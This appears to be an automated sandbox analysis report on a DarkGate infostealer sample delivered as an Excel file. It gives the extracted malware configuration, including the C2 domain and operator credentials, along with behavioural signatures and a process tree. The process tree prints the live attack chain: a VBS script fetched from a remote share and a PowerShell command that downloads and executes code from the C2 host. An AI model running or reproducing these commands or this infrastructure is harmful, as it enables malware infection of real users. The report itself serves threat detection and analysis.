Analysis
- max time kernel
149s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
28/02/2024, 15:50
General
- Target scan-28-02-24_3136.xlsx
- Size 29KB
- Sample240228-s94bhsfd8y
- SHA256 abadc5f79d85d395c7760c93d635c885f4ea7cdf872986332c650ffbf2ad9984
Malware Config
Extracted
-
darkgate
-
admin888
-
cayennesxque.boo
-
anti_analysis
true
-
anti_debug
false
-
anti_vm
true
-
c2_port
80
-
check_disk
false
-
check_ram
false
-
check_xeon
false
-
crypter_au3
false
-
crypter_dll
false
-
crypter_raw_stub
false
-
internal_mutex
HwHLLNLY
-
minimum_disk
50
-
minimum_ram
7000
-
ping_interval
6
-
rootkit
false
-
startup_persistence
true
-
username
admin888
Signatures
- DarkGate
DarkGate is an infostealer written in C++.
- Detect DarkGate stealer 2 IoCs
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 4 IoCs
- Downloads MZ/PE file
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Checks processor information in registry 2 TTPs 5 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 14 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\scan-28-02-24_3136.xlsx"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "\\147.45.197.186\share\scan.vbs"2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'cayennesxque.boo/jzpdvxcn')3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\temp\AutoIt3.exe"C:\temp\AutoIt3.exe" script.a3x4⤵
- Executes dropped EXE
- Checks processor information in registry
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_uv3hfegl.qk0.ps1
AutoIt3.exe
script.a3x
test.txt
memory/3448-15-0x00007FF89A7F0000-0x00007FF89A9E5000-memory.dmp
memory/3448-27-0x00007FF89A7F0000-0x00007FF89A9E5000-memory.dmp
memory/3448-6-0x00007FF85A870000-0x00007FF85A880000-memory.dmp
memory/3448-7-0x00007FF89A7F0000-0x00007FF89A9E5000-memory.dmp
memory/3448-8-0x00007FF85A870000-0x00007FF85A880000-memory.dmp
memory/3448-9-0x00007FF89A7F0000-0x00007FF89A9E5000-memory.dmp
memory/3448-10-0x00007FF89A7F0000-0x00007FF89A9E5000-memory.dmp
memory/3448-11-0x00007FF8587C0000-0x00007FF8587D0000-memory.dmp
memory/3448-12-0x00007FF89A7F0000-0x00007FF89A9E5000-memory.dmp
memory/3448-13-0x00007FF8587C0000-0x00007FF8587D0000-memory.dmp
memory/3448-14-0x00007FF89A7F0000-0x00007FF89A9E5000-memory.dmp
memory/3448-16-0x00007FF89A7F0000-0x00007FF89A9E5000-memory.dmp
memory/3448-0-0x00007FF85A870000-0x00007FF85A880000-memory.dmp
memory/3448-17-0x00007FF89A7F0000-0x00007FF89A9E5000-memory.dmp
memory/3448-26-0x00007FF89A7F0000-0x00007FF89A9E5000-memory.dmp
memory/3448-3-0x00007FF89A7F0000-0x00007FF89A9E5000-memory.dmp
memory/3448-5-0x00007FF89A7F0000-0x00007FF89A9E5000-memory.dmp
memory/3448-2-0x00007FF89A7F0000-0x00007FF89A9E5000-memory.dmp
memory/3448-1-0x00007FF85A870000-0x00007FF85A880000-memory.dmp
memory/3448-4-0x00007FF85A870000-0x00007FF85A880000-memory.dmp
memory/3732-62-0x0000000004350000-0x0000000005320000-memory.dmp
memory/3732-63-0x0000000005840000-0x0000000005B8F000-memory.dmp
memory/3732-65-0x0000000005840000-0x0000000005B8F000-memory.dmp
memory/4148-39-0x0000017D03BE0000-0x0000017D03BF0000-memory.dmp
memory/4148-41-0x0000017D1C390000-0x0000017D1C552000-memory.dmp
memory/4148-40-0x0000017D03BE0000-0x0000017D03BF0000-memory.dmp
memory/4148-54-0x0000017D03BE0000-0x0000017D03BF0000-memory.dmp
memory/4148-55-0x0000017D03BE0000-0x0000017D03BF0000-memory.dmp
memory/4148-38-0x00007FF871F60000-0x00007FF872A21000-memory.dmp
memory/4148-37-0x0000017D03BB0000-0x0000017D03BD2000-memory.dmp
memory/4148-59-0x00007FF871F60000-0x00007FF872A21000-memory.dmp